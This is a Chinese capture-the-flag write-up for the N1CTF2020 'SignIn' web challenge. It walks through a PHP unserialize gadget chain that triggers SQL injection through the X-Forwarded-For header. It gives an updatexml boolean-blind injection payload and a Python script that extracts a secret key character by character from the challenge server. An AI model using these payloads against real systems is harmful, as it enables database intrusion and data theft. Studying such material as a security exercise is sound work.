N1CTF2020-Web-SignIn
N1CTF2020-Web-SignIn
分析
访问靶机直接得到源码,里面写了两个class,还有一个获取get参数input进行反序列化的地方,所以解题应该是有反序列化的。
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
flag类中有一个成员方法getflag()
,需要获取一个key值,就能读取/flag,但是使用的是全等于,所以应该需要在其他地方找到这个key值。
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
代码很短,第一感觉能获取到key值的地方就是ip类中的__toString()
方法,这里面通过sprintf拼接sql语句后放入数据库中执行,且拼接语句中的$_SERVER['HTTP_X_FORWARDED_FOR']
我们可以通过在HTTP头添加XFF来控制。需要找到一个地方触发ip类的__toString()
方法,然后添加XFF就能实现注入了。
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
在flag类的__wakeup()
方法中看到stristr()
,这个方法是忽略大小写版本的strstr,即忽略大小写的字符串查找。并且如果stristr()
中的参数为实例化对象时,会调用__toString()
来转换成字符串。而正好这个stristr()
的$this->ip
我们可以使用反序列化来控制,那么就可以通过将$this->ip
设置成new ip()
来调用ip类的__toString()
方法。首先生成序列化数据:
$f = new flag(new ip());
echo serialize($f);
然后通过get方法的input参数传入序列化数据,再添加XFF来进行注入。但是发现后端代码有黑名单检测,不允许XFF内容中出现sleep、benchmark,显然是拼接语句过程中的$this->waf($_SERVER['HTTP_X_FORWARDED_FOR'])
做了检测。
但是这问题不大,ip类的__toString()
方法是有返回值的,sql语句执行成功返回your ip looks ok!
,失败则返回错误信息。
而我们控制调用ip类__toString()
的地方,是在__toString()
return结果中查找字符串n1ctf
。
那么我们就可以通过利用__toString()
会返回sql执行报错信息这一点,用报错注入来控制报错信息中出现n1ctf
即可。
payload:X-Forwarded-for: ' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '
if为真时,返回n1ctf
,__wakeup()
的stristr()
查询到n1ctf
在页面中打印welcome to n1ctf2020
,if为假时返回noip
,妥妥的布尔盲注。
getFlag
接下来就是python3 1.py
一顿梭哈,就得到key了。
# coding: utf-8
import requests
word = '1234567890qwertyuioplkjhgfdsazxcvbnm'
url = 'http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}'
for a in range(1,50):
for ch in word:
payload = f'\' or updatexml(1,concat(0x7e,(select if((substring((select `key` from n1key),{a},1)=\'{ch}\'),\'n1ctf\',0)),0x7e),1) or \''
sess = requests.session()
head = {'X-Forwarded-for': payload}
resp = sess.get(url, headers=head)
if '<code>welcome to n1ctf2020</code>' in resp.text:
# print(str(a) + ': ' + ch)
print(ch, end='')
再使用key生成序列化数据,得到flag。
$f = new flag('n1ctf');
$f->check = 'n1ctf20205bf75ab0a30dfc0c';
echo serialize($f);